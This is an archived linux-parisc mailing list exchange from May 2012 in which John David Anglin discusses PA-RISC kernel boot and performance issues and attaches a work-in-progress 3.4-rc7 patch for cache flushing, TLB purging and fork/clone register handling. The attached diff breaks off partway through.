References: <4FA9975C.5060708@bergerie> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <2075347.T446pQRFvO@donald.sf-tec.de> <20120513163220.0537f384@epia.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336956754 21496 80.91.229.3 (14 May 2012 00:52:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 May 2012 00:52:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Vincent <vincent.stehle@laposte.net>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 14 02:52:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STjWZ-0003Zy-Ae
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 May 2012 02:52:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753375Ab2ENAwa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 20:52:30 -0400
Original-Received: from blu0-omc3-s5.blu0.hotmail.com ([65.55.116.80]:35429 "EHLO
	blu0-omc3-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753090Ab2ENAwa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 20:52:30 -0400
Original-Received: from BLU0-SMTP37 ([65.55.116.73]) by blu0-omc3-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 17:52:29 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP37.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 17:52:28 -0700
In-Reply-To: <20120513163220.0537f384@epia.jer-c2.orkz.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 May 2012 00:52:29.0350 (UTC) FILETIME=[D67EAC60:01CD316B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4373
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4373>

On 13-May-12, at 10:32 AM, Jeroen Roovers wrote:

> I
> can't say it's actually running faster on either system because I
> simply didn't test for that change.

You will only see a significant performance improvement on PA8800/PA8900
machines with the 32 MB cache.

I believe other machines will see an improvement in thread support.   
However,
there is still more to fix in this area.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 13 May 2012 21:10:58 -0400
Lines: 1753
Approved: news@gmane.org
Message-ID: <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <4FAEE943.2030203@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-2-20889562"
X-Trace: dough.gmane.org 1336957892 28352 80.91.229.3 (14 May 2012 01:11:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 May 2012 01:11:32 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 14 03:11:31 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STjow-0007g9-TA
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 May 2012 03:11:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753539Ab2ENBLa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 21:11:30 -0400
Original-Received: from blu0-omc3-s4.blu0.hotmail.com ([65.55.116.79]:32588 "EHLO
	blu0-omc3-s4.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753227Ab2ENBLa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 21:11:30 -0400
Original-Received: from BLU0-SMTP93 ([65.55.116.74]) by blu0-omc3-s4.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 18:11:29 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP93.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 18:11:23 -0700
In-Reply-To: <4FAEE943.2030203@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 May 2012 01:11:25.0826 (UTC) FILETIME=[7BE32620:01CD316E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4374>

--Apple-Mail-2-20889562
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Hi Helge,

I had a successful bot of 3.4.0-rc7+ this evening.

I updated my running kernel patch to 3.4.  The futex patch is removed  
and Srivatsa S. Bhat's
patch added.

Attached are patch and dmesg log.

Regards,
Dave

On 12-May-12, at 6:50 PM, Helge Deller wrote:

> I have my machines now up and running again.
>
> I tested upstream version (bcc62fb) and got on all my machines the  
> same bug (same Kernel binary started on all):
>
> Backtrace:
> [<1021dc3c>] mpage_readpages+0xf0/0x16c
> [<10257e88>] ext3_readpages+0x28/0x38
> [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
> [<101acc5c>] ra_submit+0x30/0x40
> [<101acee0>] ondemand_readahead+0xd0/0x26c
>
> or
>
> Backtrace:
> [<1021dc3c>] mpage_readpages+0xf0/0x16c
> [<10257e88>] ext3_readpages+0x28/0x38
> [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
> [<101acc5c>] ra_submit+0x30/0x40
> [<101acee0>] ondemand_readahead+0xd0/0x26c
> [<101ad1a8>] page_cache_sync_readahead+0x44/0x74
> [<101a38e4>] generic_file_aio_read+0x400/0x764
> [<101e243c>] do_sync_read+0xd4/0x130
> [<101e32f4>] vfs_read+0xac/0x158
> [<101ea47c>] kernel_read+0x40/0x5c
> [<101ea58c>] prepare_binprm+0xf4/0x130
> [<101eae3c>] do_execve+0x2b8/0x3a4
> [<1012199c>] sys_execve+0x64/0x94
> [<10104084>] __execve+0x20/0x34
> [<10136374>] vprintk+0x1e8/0x488
> [<101a83e8>] __free_pages+0x54/0x64
>
>
> all logs attached for the 715/64, B160L and C3000 machines.
>
> I'll test tomorrow your patch (but will try to update my binutils/ 
> gcc prior to that).



--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-2-20889562
Content-Disposition: attachment; filename="linux-3.4-rc7-20120513.d.4"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="linux-3.4-rc7-20120513.d.4"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 9f21ab0..79f694f 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index e67eb9c..31835b9 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -1,9 +1,10 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+
 #ifdef CONFIG_DISCONTIGMEM
 
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
 extern int npmem_ranges;
 
 struct node_map_data {
@@ -60,7 +61,5 @@ static inline int pfn_valid(int pfn)
 	return 0;
 }
 
-#else /* !CONFIG_DISCONTIGMEM */
-#define MAX_PHYSMEM_RANGES 	1 
 #endif
 #endif /* _PARISC_MMZONE_H */
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 4e0e7db..d9812d8 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..563724d 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -462,10 +468,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 9d18189..695f790 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -133,7 +133,7 @@ parisc_cache_init(void)
 	if (pdc_cache_info(&cache_info) < 0)
 		panic("parisc_cache_init: pdc_cache_info failed");
 
-#if 0
+#if 1
 	printk("ic_size %lx dc_size %lx it_size %lx\n",
 		cache_info.ic_size,
 		cache_info.dc_size,
@@ -267,9 +267,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -315,7 +317,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -330,17 +332,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -374,20 +365,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -400,11 +380,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -459,8 +454,65 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.
+	   Note: This approach is faster than a range flush when the
+	   context is current, and it works even when non current.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+				if(vma->vm_flags & VM_EXEC)
+					flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -486,20 +538,34 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -512,3 +578,81 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+}
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 6f05944..3caa199 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1777,9 +1777,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1809,7 +1809,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1828,8 +1828,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1852,7 +1853,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 93ff3d9..9a29e34 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
